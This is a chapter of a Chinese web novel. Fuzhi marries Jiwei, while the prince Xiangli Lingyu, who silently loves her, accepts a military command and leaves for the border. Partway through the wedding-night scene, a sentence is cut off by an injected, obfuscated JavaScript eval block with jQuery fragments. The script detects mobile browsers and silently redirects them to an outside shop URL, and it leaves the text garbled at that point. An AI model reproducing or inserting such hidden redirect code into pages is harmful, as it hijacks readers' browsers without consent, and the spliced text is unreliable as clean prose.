扶芷来找寂微玩的时候也兴致恹恹,和他聊天总走神,那颗心很明显还在挂念着谢伊代。
寂微只好宽慰她说,谢伊代好歹也是一个公主,北国不会苛待她,这是她的使命,也是她自己选的路。
开弓没有回头箭,哪怕这条路并不好走。
他靠在扶芷的肩窝处,和她十指相扣。
二人的婚期定在了八月初八,是个好日子。
其实她定亲的事没有多少人知道,将军府想等她从学堂结业后再告知他人。
没想到这个消息不知道从哪里走露,相里令羽也知道了。
扶芷再一次跑到相里令羽的住所,见他今日似乎比平时更冷漠几分,她来了也不做反应。
她主动走上前,把手放在他额前:
“生病了吗?”
他看向她的眼神里似乎有许多话想说,不过欲言又止。
眼神交汇,他看得出她对自己并无男女之情。
那双杏眼会带着爱意看向其他人,她会和其他人亲吻缠绵,这个人不是他。
相里令羽痴恋着额头那里仅存的余温,如同渴死的鱼,想要靠近水源却无能为力。
浑身的力气都使不上来,相里令羽眼神逐渐迷离,掺上痛苦,忍不住扶着墙柱跌坐在地上。
“有些发热。”
他艰难地吐出这四个字,气若游丝,与他平日风格大相径庭。
扶芷连忙给他倒上一杯水,还从屋子里拿出一块布巾,打湿后想要为他擦拭额头:
“昨日下了好大的雨,你可是淋雨了?”
“……”
相里令羽抿唇不语。
他昨天一个晚上都在将军府外,不敢进来,不舍离开。
那是他迄今为止做出的,最不理智的决定。
他不知道是什么让自己不带伞,一个人发疯跑来淋雨。
也不知道自己为什么变得像一个胆小鬼。
他二十多年的生活,四处漂泊,爹不疼娘不爱,亲缘浅薄,唯一人珍视而已。
他把她当做月亮,她是如此纯洁甜美,让人心生爱怜。
奈何明月高悬不照我。
落花有意流水无情。
相里令羽本想着让自己看起来冷漠些,就能克制住那些难以抑制的情感。
不料她无意的动作便可随意进出他的心房。
姑娘在为她擦拭手臂和脸颊,嘴里还嘟嘟囔囔:
“这么大的人居然还会因为淋雨而生病,也太不爱惜自己的身体了……”
她又从口袋里掏出药丸,塞进他手掌心里。
“谢谢。”
他嗓子干裂,如同刀片在割血,心也跟着疼。
还未等他再说些什么,宫外一阵脚步声传来,朱砂大门被人大敞而开,领头的太监直冲着相里令羽来。
扶芷记得,这个太监是皇帝的贴身太监。
张太监皮笑肉不笑地行礼:
“见过九皇子,殿下,陛下养心殿有请——”
他奉命而来,专程请相里令羽前去。
扶芷待在一旁,似有不解。
她知道相里令羽出于什么境界,自打回宫以来皇帝便鲜少单独召见他,如今怎么专程叫人来请。
事发有因,扶芷想搞清楚是因为什么,只不过她不能跟着去,前脚相里令羽跟着太监走出门,她后脚便离开了。
还是等明日他亲自告诉自己比较好。
扶芷出宫后策马来到驿站,将自己写好的信给谢伊代寄过去后又来到酒楼。
她这几个月和施佳玉交好,二人依旧成为好友。
在大堂等上许久,也不见她身影。
扶芷只好找来老板问话,和她交谈过后才得知施佳玉被人豪掷千金买走了。
“那可说过是哪家豪门子弟?”
老板摇头:
“姑娘,恕我不能告知。”
扶芷难以想象按照施佳玉的身价,要多少黄金白银。
“系统,施佳玉该不会被人买走当妾室了吧……”
她真有些害怕,自从谢伊代走后她只能和施佳玉一个姑娘聊得好,等施佳玉走了只剩下她一人。
【并非如此,她身负重任。】
系统不能告知太多,她只能放弃问它。
*
养心殿。
天子立于高堂之上,鬓角微白,气势如虹,不怒自威。
相里令羽跪拜过后,站在原地听从发话。
皇帝带着些许的笑容,先是与他寒暄一番聊表父子情深,然后深入主题。
南国动乱,扶将军已老,他交出兵符,现在带兵打仗的人选只有两个。
一个是毫无背景的相里令羽。
一个是将军之女,扶芷。
看似交给他的是一个选择题,但相里令羽又怎么舍得让她亲自奔赴战场。
扶芷还有月余便要出嫁,正是新婚燕尔之时。
相里令羽再次跪拜,开口答应下来,声音滞涩:
“儿臣领命,下个月带兵前去边境。”
生来便是孤魂鬼,何怕今生无轮回。
昨夜的瓢泼大雨,阴了一整天。
皇帝很满意他的回答,对他进行大肆夸赞,顺便赏下不少奇珍异宝。
这个漂泊在外多年的儿子还算有用。
……
扶芷回到家时,见父亲母亲愁云不散。
明明前几日还笑呵呵的,怎么今天一个个的都不开心了?
她走上前牵着他们的手,语气欢快:
“父亲母亲,今天天气不好你们也跟着不开心了?”
面对自家女儿,二人表情终于有所松动。
扶将军自打交出兵符后,便心惊胆跳。
他并非因为年事已高才不领兵打仗。
而是,皇帝怕功高盖主,他会有二心。
扶将军第一时间意识到这个问题,于是在和皇帝寒暄过后便主动交出兵符,说了不少理由。
什么女儿要成家,什么母亲病重,通通都是好说辞。
“所以,南国最近也不安稳?”
扶芷难以想象北国刚平稳,南国又出了岔子。
母亲叫她放宽心,不要多虑,但唯有一件事要好好考虑。
那是和寂微的婚事。
母亲建议提前些,避免发生乱子。
扶芷不知道该怎么拿主意,只好跑过来找寂微商讨。
寂微何其聪明,他当然理解为什么要将婚期提前。
根据这几月在前朝的推断,他很快猜出来谁会是带兵打仗的人选。
他牵过她的手,语气温柔:
“答应我,让我死在你前头。”
扶芷身体一僵。似乎完全不理解他为什么会突然说出这句话。
寂微从后背抱住她,闻着她发丝间的香气:
“阿芷,能和你在这里成亲,我很开心。”
扶芷立刻听出来,寂微也和自己一样,保持着原来的记忆。
“寂微,和你成亲我也很开心,但是,不要说死不死,可以吗?”
她不愿意亲眼见证别人的死亡,更何况是自己的夫君。
“好,我不说。”
他双
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344202|195706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手抚上她的腰肢,感受着怀里姑娘的一举一动。
正是热的时候,二人贴在一块却总也不觉得热。
和寂微确认过后,二人的婚事提上日程。
为避免多生事端,尽快成亲。
恰巧扶芷出嫁前一天,相里令羽出征。
看着幸福近在咫尺,相里令羽竟然觉得她幸福自己也会跟着幸福。
哪怕自己回不来,一生孤独到老。
黎国有传统,出征前主帅的姐妹或者妻子要在城楼上跳盘鼓舞。
相里令羽无妻子,姐妹关系和他不亲近。
他也没指望会有人为他跳舞。
直至他御马跨出城门百步,身后鼓声响起,响彻耳际。
相里令羽勒马回头,那一抹红色身影出现在他的视线内。
三个红色大鼓异常显眼,不过最突出的是上面的人——
扶芷披上红绸,舞着长袖,在三个大鼓之间舞动身体,鼓声更强有力,落鼓仿佛有金石之力,身姿腾跃如满月飞弦,极具美感与力量感。
纤细的腰肢旋转如疾风回雪,长袖在鼓上成了流动的红霞,异常美艳。
扶芷带着淡淡的笑意,目送他离开。
相里令羽最后庄重地看她一眼,二人对视,他点头回应。
那些未曾说出口的,就让它继续埋藏在心底。
次日的将军府。异常热闹。
满座宾客,红绸缭绕,鞭炮齐鸣,珍馐美味,皆在今朝。
“一梳梳到尾,二梳白发齐眉,三梳子孙满堂……”
母亲为她梳发,扶芷凤冠霞帔,侍女正为她描眉。
整间屋子喜气洋洋,装饰精美,扶芷在母亲的陪伴下走出门,府外锣鼓喧天,一堆人围成一圈,正看着踏马而来的新郎。
二人住的地方离将军府不远,整条街跟着热闹,寂微接到扶芷后搀扶她上轿子,
一行人来到府邸。
皇帝特派礼部尚书来主持婚礼,以表重视。
“一拜天地——”
“二拜高堂——”
“夫妻对拜——”
礼成。
扶芷回屋子里侯着,寂微负责应对这些来宾。
屋外热闹着,扶芷和侍女待着无聊,索性偷吃起桌上的糕点。
见她口渴还要喝水,侍女立刻从别处拿来茶水:
“夫人,桌上的是酒,暂时不能喝,咱们先喝茶。”
扶芷咽下茶水,手指握着杯子。
虽然说并不是真正的世界,但能够和喜欢的人在一块,扶芷也足够开心。
想着想着,她开始犯困,最后闭上眼半躺在床边睡着了。
宾客渐渐散去,寂微彻底送走最后一批客人时并不算晚。
他怕扶芷等的急了,立马跑过来,听见屋子里一点动静没有。
侍女站在一边,小声和他解释说夫人有些困倦。
她退下后,寂微打来一盆水,想着为她擦去脸上的妆容。
扶芷悠悠转醒,盯着沉重的法官和盖头,压的脖子疼。
“慢一点,我给你卸掉钗环。”
寂微的声音在耳边响起,扶芷放松起来:
“掀开盖头吧。”
她坐得板正,寂微用玉如意慢慢掀开她的大红盖头,动作又轻又缓,姑娘花容月貌展现在眼前。
唇红齿白,胭脂也是为她添上几分颜色,寂微恍惚片刻,不敢相信自己的眼睛。
“阿芷,你今天很漂亮。”
这是他过了这么久见过的唯一美景,红烛摇曳,灯影模糊,珠帘玉幕,美人在侧。